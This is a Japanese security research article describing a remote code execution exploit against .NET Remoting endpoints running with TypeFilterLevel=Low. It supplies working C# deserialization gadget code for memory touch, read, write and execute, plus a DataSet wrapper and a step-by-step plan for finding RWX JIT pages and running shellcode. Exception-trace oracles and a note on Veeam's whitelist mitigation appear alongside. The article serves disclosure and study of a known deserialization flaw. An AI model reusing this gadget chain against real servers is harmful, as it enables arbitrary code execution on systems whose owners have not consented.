TypeFilterLevelがLowで、MarshalByRefインターフェイスを持たない.NET Remotingのエクスプロイト
2022年6月2日 14:00 AM
説明
2020年、.NET Remotingに関連するいくつかのバグがMicrosoftに報告されました[1]。そのうちの1つが、BinaryServerFormatterSink::ProcessMessage関数におけるDoSバグです(Microsoftによれば「意図した動作」とのことです)。このDoSは実際には、ガジェットを変更することでコード実行ができます(研究者はProcess.Startガジェットを使用していましたが、TypeFilterLevel=Lowのために未処理の例外が発生するとクラッシュしてしまいます)。
我々は、4つのガジェットを使用して、任意のメモリにtouch/読み取り/書き込み/実行するエクスプロイトを作成しました。.NETコードはMSILコードを実行するためにJITを使用しているため、プロセス内の既存のRWXページを悪用してシェルコードを配置し、後で最後のガジェットによって実行するようにしています。
攻撃者にとって唯一必要なのは、攻撃者がメソッドを実行できるエンドポイントです(特別に細工した引数でObject.Equalsを使用します)。
サーバアプリケーションのコードに制御が渡る前に脆弱性が引き起こされるため、インターフェイスによって公開されるメソッドのコード変更で緩和することはできないようです。脆弱性はリモートコールの引数をデシリアライズする関数で発生し、エクスプロイト試行が例外で終わるため、アプリケーションは何の通知も受けません。
*BinaryServerFormatterSink::ProcessMessage の明らかなデシリアライズバグの他に、(任意のメモリ書き込みなどの安全でない関数を公開しているにもかかわらず) Marshal** 静的クラスの関数に [SecuritySafeCritical] 属性が欠けています。
技術詳細
BinaryFormatter の TypeConfuseDelegate と DataSet ラッパー
このエクスプロイトで使用されているTypeConfuseDelegateの詳細について説明します。これは、サーバーサイドで何が起こっているかを理解するために重要なことです。
コード例([2]のysoserialのコードを参照して下さい。)
Delegate da = new Comparison<Array>(String.Compare);
Comparison<Array> d = (Comparison<Array>)MulticastDelegate.Combine(da, da);
IComparer<Array> comp = Comparer<Array>.Create(d);
SortedSet<string> set = new SortedSet<string>(comp);
set.Add("calc.exe");
set.Add("dummy");
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
invoke_list[1] = new Func<string, Process>(Process.Start);
fi.SetValue(d, invoke_list);
return set;
上記のコードでは、ComparatorにString.Compare関数が使用されています。 public static int String.Compare(string strA, string strB)
この関数は、(MulticastDelegateを使用して) (署名により)適切な静的関数Process.Startとマージされます。
public static Process Process.Start(string fileName)
ここで、ちょうど2つの要素を含むSortedSet<string>を作成すると、String.Compare("calc.exe", "dummy")の他にデシリアライズの瞬間に、2度目の呼び出し Process.Start("calc.exe", "dummy") が行われることになります。
注: 関数の引数の数が、与えられた引数の数より少ない場合、余分な引数は無視されます。
戻り値は、1つ目の関数でのみ重要で、2つ目の関数では何でも構いません。
関数の2つの引数のみを制御することができますが、この引数は同じかキャスト可能な型でなければなりません。
object TypeConfuseDelegateGadget_Assembly_Load(byte[] ASSEMBLY_BYTES)
{
Delegate da = new Comparison<Array>(Array.IndexOf);
Comparison<Array> d = (Comparison<Array>)MulticastDelegate.Combine(da, da);
IComparer<Array> comp = Comparer<Array>.Create(d);
SortedSet<Array> set = new SortedSet<Array>(comp);
set.Add(ASSEMBLY_BYTES);
set.Add("dummy".ToCharArray());
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
invoke_list[1] = new Func<byte[], Assembly>(Assembly.Load);
fi.SetValue(d, invoke_list);
return set;
}
ここで別の例として、ベース型(Array)とComparator(Array.IndexOf)が異なることで、SortedSet<Array>以外にbyte[]をシリアライズしてAssembly.Loadを呼ぶものもあります。
署名:
public static int Array.IndexOf(Array array, object value)
public static System.Reflection.Assembly Assembly.Load (byte[] rawAssembly)
デシリアライゼーションに対する効果的なアクション:
Array.IndexOf((Array)ASSEMBLY, (object)"dummy".ToCharArray())
Assembly.Load((byte[])ASSEMBLY, "dummy".ToCharArray())
Setには2つのオブジェクト(Assembly.Loadに渡したいアセンブリのbyte[]とbyte[]型の”dummy”)があるので、デシリアライズ時にComparator (MulticastDelegate)が呼び出されることになります。
それに応じてSortedSetの最初のオブジェクトが最初の引数として、2番目のオブジェクトが第2引数としてそれぞれ使用されることが保証されているようです。
SortedSet<Array>を(BinaryDeserializerを使って)TypeFilterLevel=Lowでデシリアライズするには、さらにそれをガジェット(ISerializableを実装するクラス)の一つにラップする必要があります。この場合、DataSetです。
シリアライズされたDataSetは、DataSetオブジェクトをデシリアライズする際に、任意のBinaryFormatterのバイト列をリモートアプリケーションに強制的にデシリアライズさせることができます。ysoserialでの使い方は[3]で見ることができます。 つまり、最終的なペイロードは次のようになります。
DataSet(BinaryFormatter(SortedSet<Array>))
コード:
object DataSet_Wrap(object obj)
{
BinaryFormatter fmt = new BinaryFormatter();
MemoryStream ms = new MemoryStream();
fmt.Serialize(ms, obj);
return new DataSetMarshal(ms);
}
サーバから直接値を返すことはできないので(MulticastDelegateの呼び出しに成功するとInvalidCastExceptionが発生します)、呼び出しの失敗・成功(とそれが返す例外)をもとにoracleを作成することになります。
DynamicInvokeによるTypeConfuseDelegateガジェットの改良(メモリtouchガジェット)
TypeConfuseDelegateには制限があるため、2つ以上の制御された引数をサポートするように変更する必要があります。対象の関数を直接呼び出すのではなく、別のDelegateインスタンスを作り、それをMulticastDelegateの内部でシリアライズします。
object TypeConfuseDelegateGadget_TouchMem(IntPtr addr)
{
Delegate da = new Comparison<Array>(Array.IndexOf);
Delegate[] sd = { da, da };
Comparison<Array> d = (Comparison<Array>)MulticastDelegate.Combine(sd);
IComparer<Array> comp = Comparer<Array>.Create(d);
SortedSet<Array> set = new SortedSet<Array>(comp);
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
Delegate _ReadByteDelegate = new Func<IntPtr, byte>(Marshal.ReadByte);
Object[] _args1 = { (IntPtr)addr };
set.Add(_args1);
set.Add(_args1); // not used
invoke_list[1] = new Func<object[], object>(_ReadByteDelegate.DynamicInvoke);
fi.SetValue(d, invoke_list);
return set;
}
署名:
public static int Array.IndexOf(Array array, object value)
public object Delegate.DynamicInvoke(params object[] args)
public static byte Marshal.ReadByte (IntPtr ptr)
デシリアライゼーションに関する効果的なアクション:
ARGUMENT = new Object[]{ (IntPtr)addr }
Array.IndexOf((Array)ARGUMENT, (object)ARGUMENT)
(new Func<IntPtr, byte>(Marshal.ReadByte)).DynamicInvoke(ARGUMENT, ARGUMENT)
この例では、IntPtr引数でMarshal.ReadByteを呼び出し、メモリがREADアクセスできるどうかをテストしています。
この関数は適切な例外処理をしているので、Marshal.ReadByte 内で System.AccessViolationException を取得し、アクセスできないアドレスがあってもアプリケーションがクラッシュすることはありません。
DataSetオブジェクトがSortedSet<Array>のデシリアライズを完了し、SortedSet<Array>をSystem.Data.DataTableにキャストできないことに気づくと、touch成功時にSystem.InvalidCastExceptionが発生します。
touch成功時のスタックトレース:
A: System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.InvalidCastException: Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.Array]' to type 'System.Data.DataTable'.
at System.Data.DataSet.DeserializeDataSetSchema(SerializationInfo info, StreamingContext context, SerializationFormat remotingFormat, SchemaSerializationMode schemaSerializationMode)
at System.Data.DataSet..ctor(SerializationInfo info, StreamingContext context, Boolean ConstructSchema)
at System.Data.DataSet..ctor(SerializationInfo info, StreamingContext context)
--- End of inner exception stack trace ---
Server stack trace:
at System.RuntimeMethodHandle.SerializationInvoke(IRuntimeMethodInfo method, Object target, SerializationInfo info, StreamingContext& context)
at System.Runtime.Serialization.ObjectManager.CompleteISerializableObject(Object obj, SerializationInfo info, StreamingContext context)
at System.Runtime.Serialization.ObjectManager.FixupSpecialObject(ObjectHolder holder)
at System.Runtime.Serialization.ObjectManager.DoFixups()
at System.Runtime.Serialization.Formatters.Binary.ObjectReader.Deserialize(HeaderHandler handler, __BinaryParser serParser, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage)
at System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream, HeaderHandler handler, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage)
at System.Runtime.Remoting.Channels.CoreChannel.DeserializeBinaryRequestMessage(String objectUri, Stream inputStream, Boolean bStrictBinding, TypeFilterLevel securityLevel)
at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream)
BAD メモリ touchの際のスタックトレース:
B: System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.AccessViolationException: Attempted to read or write protected memory. This is often an indication that other memory is corrupt.
at System.Runtime.InteropServices.Marshal.ReadByte(IntPtr ptr, Int32 ofs)
--- End of inner exception stack trace ---
at System.RuntimeMethodHandle.InvokeMethod(Object target, Object[] arguments, Signature sig, Boolean constructor)
at System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(Object obj, Object[] parameters, Object[] arguments)
at System.Delegate.DynamicInvokeImpl(Object[] args)
at System.Comparison`1.Invoke(T x, T y)
at System.Collections.Generic.SortedSet`1.AddIfNotPresent(T item)
at System.Collections.Generic.SortedSet`1.OnDeserialization(Object sender)
at System.Runtime.Serialization.ObjectManager.RaiseDeserializationEvent()
at System.Runtime.Serialization.Formatters.Binary.ObjectReader.Deserialize(HeaderHandler handler, __BinaryParser serParser, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage)
at System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream, HeaderHandler handler, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage)
at System.Data.DataSet.DeserializeDataSetSchema(SerializationInfo info, StreamingContext context, SerializationFormat remotingFormat, SchemaSerializationMode schemaSerializationMode)
at System.Data.DataSet..ctor(SerializationInfo info, StreamingContext context, Boolean ConstructSchema)
at System.Data.DataSet..ctor(SerializationInfo info, StreamingContext context)
--- End of inner exception stack trace ---
Server stack trace:
at System.RuntimeMethodHandle.SerializationInvoke(IRuntimeMethodInfo method, Object target, SerializationInfo info, StreamingContext& context)
at System.Runtime.Serialization.ObjectManager.CompleteISerializableObject(Object obj, SerializationInfo info, StreamingContext context)
at System.Runtime.Serialization.ObjectManager.FixupSpecialObject(ObjectHolder holder)
at System.Runtime.Serialization.ObjectManager.DoFixups()
at System.Runtime.Serialization.Formatters.Binary.ObjectReader.Deserialize(HeaderHandler handler, __BinaryParser serParser, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage)
at System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream, HeaderHandler handler, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage)
at System.Runtime.Remoting.Channels.CoreChannel.DeserializeBinaryRequestMessage(String objectUri, Stream inputStream, Boolean bStrictBinding, TypeFilterLevel securityLevel)
at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream)
書き込みメモリガジェット
public static void WriteByte (IntPtr ptr, byte val);
touchとほぼ同じですが、関数に2つの引数があります。
Delegate da = new Comparison<Array>(Array.IndexOf);
Delegate[] sd = { da, da };
Comparison<Array> d = (Comparison<Array>)MulticastDelegate.Combine(sd);
IComparer<Array> comp = Comparer<Array>.Create(d);
SortedSet<Array> set = new SortedSet<Array>(comp);
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
Delegate _WriteByte = new Action<IntPtr, byte>(Marshal.WriteByte);
Object[] _args1 = { (IntPtr)addr, (byte)val };
set.Add(_args1);
set.Add(_args1); // not used
invoke_list[1] = new Func<object[], object>(_WriteByte.DynamicInvoke);
fi.SetValue(d, invoke_list);
return set;
署名:
public static void Marshal.WriteByte(IntPtr ptr, byte val)
実行メモリガジェット
署名:
public static int Marshal.AddRef (IntPtr pUnk);
IUnknown::AddRef のラッパーである Marshal.AddRef 関数を悪用することでコードの実行を実現することができます。基本的には、AddRef メソッドを持つ VTable で偽の COM オブジェクトを構築し、それを Marshal.AddRef に渡せばよいのです。
struct IUnknown_vtbl
{
HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, LPVOID* ppv );
ULONG STDMETHODCALLTYPE AddRef();
ULONG STDMETHODCALLTYPE Release();
};
struct IUnknown
{
IUnknown_vtbl* vtbl;
};
RWXメモリが0xAAAA0000に配置されていると仮定してみましょう。0xAAAA0100で偽のCOMオブジェクトの構築を開始し、そのVTableは0xAAAA0200に配置されます。実行したいメモリは0xAAAA0300に用意されています。ですから、アクションは次のような疑似コードに単純化することができます。
WriteQWORD(0xAAAA0100, 0xAAAA0200)
WriteQWORD(0xAAAAA200 + 8, 0xAAAA0300)
Marshal.AddRef(0xAAAA0100)
このアクションの後、アプリケーションの状態は破壊されるので、コードは.NETに制御を戻すべきではありません。エクスプロイトに成功すると、例外もタイムアウトも発生しません(エクスプロイトは、ターゲットアプリケーションが終了しなければ永遠に結果を待ちます)。
読み出しメモリガジェット
例外以外に直接何かを返すことができないので、このガジェットにはちょっとした工夫が必要です。幸運なことにBitConverter.ToBoolean 関数が利用できます。
配列のバイトがゼロかそれ以外かをブール値で返すだけなので、一見しただけでは、どうやってメモリを読みだすのかわかりません。
ここで、.NETでbyte[]型がどのようにメモリ上で表現されるか、正確にはLengthの値がどこに格納されているかを理解する必要があります。簡単に言うと、byte[]へのポインタの+0x8に格納されます。
struct byte_array_t {
void* ptr;
int32_t Length; // +0x8
};
byte[] へのポインタが 0xAAAA00 の場合、配列 Lengthは0xAAAA08 に符号付き int32 (0 から 0x7fffff の範囲の値、負数は除く)として格納されます。
この情報の使い方を理解するためには、例を見る必要があります(前に示した図のBitConverter.ToBooleanのコードの流れに従ってください)。
0xAAAA08のメモリにDWORD値100を持たせます。
BitConverter.ToBoolean (0xAAAAAA00, 99)
(value=0xAAAAAA00) == null | FALSE
(startIndex=99) < 0 | FALSE
(startIndex=99) > (value.Length=100) - 1 | FALSE
value[99] | -> System.AccessViolationException or SUCCESSFUL READ (System.InvalidCastException)
BitConverter.ToBoolean (0xAAAAAA00, 100)
(value=0xAAAAAA00) == null | FALSE
(startIndex=100) < 0 | FALSE
(startIndex=100) > (value.Length=100) - 1 | TRUE -> System.ArgumentOutOfRangeException
BitConverter.ToBoolean (0xAAAAAA00, 101)
(value=0xAAAAAA00) == null | FALSE
(startIndex=101) < 0 | FALSE
(startIndex=101) > (value.Length=100) - 1 | TRUE -> System.ArgumentOutOfRangeException
注: ここではx64のプロセスについて述べています。x86ではオフセットが少し異なります。
この場合、DWORDを読み込むために、System.ArgumentOutOfRangeException例外とその他の例外の間に変化が生じるまで、バイナリサーチを使用して推測する必要があります。
int ReadMemory_Int32(IntPtr addr)
{
int left = 0;
int right = 0x7fffffff;
while (left < right)
{
int mid = left + (right - left) / 2;
int st = ReadInt32_Cmp(addr, mid);
if (st == -1)
left = mid + 1;
else
right = mid;
}
return left;
}
Int32が負の値の場合、常に読み込めるとは限りません。しかし、次のコードのように、この関数をBYTEリーダにラップすることで、このようなケースを最小にすることができます。
Byte ReadMemory_BYTE(IntPtr addr)
{
int val;
val = ReadMemory_Int32(addr - 0);
if (val != 0 && val != 0x7fffffff)
return (byte)(val >> 0);
val = ReadMemory_Int32(addr - 1);
if (val != 0 && val != 0x7fffffff)
return (byte)(val >> 8);
val = ReadMemory_Int32(addr - 2);
if (val != 0 && val != 0x7fffffff)
return (byte)(val >> 16);
val = ReadMemory_Int32(addr - 3);
if (val != 0 && val != 0x7fffffff)
return (byte)(val >> 24);
return 0;
}
署名:
public static ulong Math.Max(ulong val1, ulong val2) public static bool BitConverter.ToBoolean (byte[] value, int startIndex);
ガジェットコード:
object TypeConfuseDelegateGadget_TestMem(IntPtr addr, int TryVal)
{
Delegate da = new Comparison<Array>(Array.IndexOf);
Delegate[] sd = { da, da };
Comparison<Array> d = (Comparison<Array>)MulticastDelegate.Combine(sd);
IComparer<Array> comp = Comparer<Array>.Create(d);
SortedSet<Array> set = new SortedSet<Array>(comp);
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
// Will read *((int*)x+0x8) on x64
Object[] _args1 = { (ulong)(addr - 8), (ulong)TryVal };
set.Add(_args1);
set.Add(_args1); // not used
Delegate da2 = new Func<ulong, ulong, ulong>(Math.Max);
Delegate[] sd2 = { da2, da2 };
Func<ulong, ulong, ulong> d2 = (Func<ulong, ulong, ulong>)MulticastDelegate.Combine(sd2);
FieldInfo fi2 = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list2 = d2.GetInvocationList();
invoke_list2[1] = new Func<byte[], int, bool>(BitConverter.ToBoolean);
fi2.SetValue(d2, invoke_list2);
invoke_list[1] = new Func<object[], object>(d2.DynamicInvoke);
fi.SetValue(d, invoke_list);
return set;
}
注: 引数を 正しい型でObject[] に格納することに問題があったため、Math.Max と BitConverter.ToBoolean の呼び出しを MulticastDelegate でマージする必要がありました。
正しい推測時の例外: System.InvalidCastException
間違った推測時の例外: System.ArgumentOutOfRangeException
間違った推測/不正なメモリ例外: System.AccessViolationException
RWX権限でJITページを探す
この時点で、ターゲットプロセスの任意のメモリの読み出し、書き込み、実行が可能です。
エクスプロイトのための最後の課題は、実行するためのシェルコードを準備できるメモリを見つけることです。
.NET JITに属するページの最初の32バイトを見てみましょう。
すぐにパターンに気づき、次のような構造に単純化することができます。
struct x64_jit_header {
QWORD pNext; // zero of pointer to next/prev block?
QWORD pCurrent; // pointer to the block itself
QWORD nSize; // possibly size of the block
QWORD nFlag; // 1 or 0
}
このヘッダを持つ全てのページが実際にRWXのパーミッションを持つわけではありませんが、我々のテストでは、以下の条件を満たす領域は通常シェルコードにとって適したものでした。
pNext == 0
nSize > 0x10000
nFlag == 1
任意のコード実行のための戦略
そこで、我々のエクスプロイト戦略は次のようになります。
- プロセスのハイメモリをスキャンして、メモリをコミットしているブロックを探します
(高速化のために大きなサイズのステップを使用します)。 - UInt64 START = 0x7ff000000000; UInt64 FINISH = 0x7ffffff000; UInt64 STEP = 0x40 * 0x1000;
- 発見した領域の境界をより小さなステップで精査します。
- UInt64 STEP = 0x1000;
- 各ページのオフセット+0x08のポインタを読み取り、それがブロック自体のアドレスと同じかをチェックします。
- このチェックに通った場合、残りの3つのポインタを読み、このブロックがRWXメモリになり得るか判断します。
- シェルコードを書いて偽のCOMオブジェクトを構築し、Marshal.AddRefガジェットを呼び出します。
想定される緩和ケース (Veeam Agent for Microsoft Windows)
最近、MDSecから出されている、Veeamソフトウェアのデシリアライズの脆弱性についての新しい記事がありました[5]。彼らはJames Forshaw氏によるExploitRemotingService [6]を使用し、TrustLevelをLowにダウングレードすることで修正しています。
我々の手法を使えば理論的には回避が可能なため、この方法は不十分な修正と思われました。Veeamの最近のバージョンをテストしたところ、驚くことにこの方法はうまくいきませんでした。
VeeamはカスタムBinaryFormatterデシリアライザーを実装しており、ホワイトリストにないタイプをブロックすることが判明しました。これは、我々のエクスプロイト方法にとってふさわしい修正のように思えるので、このケースについて言及しておきます。
まとめ
このように、TypeFilterLevel=LowでMarshalByRefインターフェイス(オリジナルのJames Forshaw氏のエクスプロイトに必要)なしでも、コードの実行が可能です。
.NET Remotingは長い間非推奨の機能であり、攻撃者にアクセスされ悪用される可能性のあるアプリケーションでは使用すべきではありません。
この方法以外にも、例えば[4]の最新研究など、様々な活用方法があります。
また、Microsoftに問い合わせたところ、この問題は生産中止のソフトウェアにおける既知の問題であることを確認しました。公式には、WCFへの移植を推奨しています。関連するドキュメントは[7]にあります。
リソース
[1] MZ-20-03 - New security advisory regarding vulnerabilities in .Net
[2] TypeConfuseDelegateGenerator.cs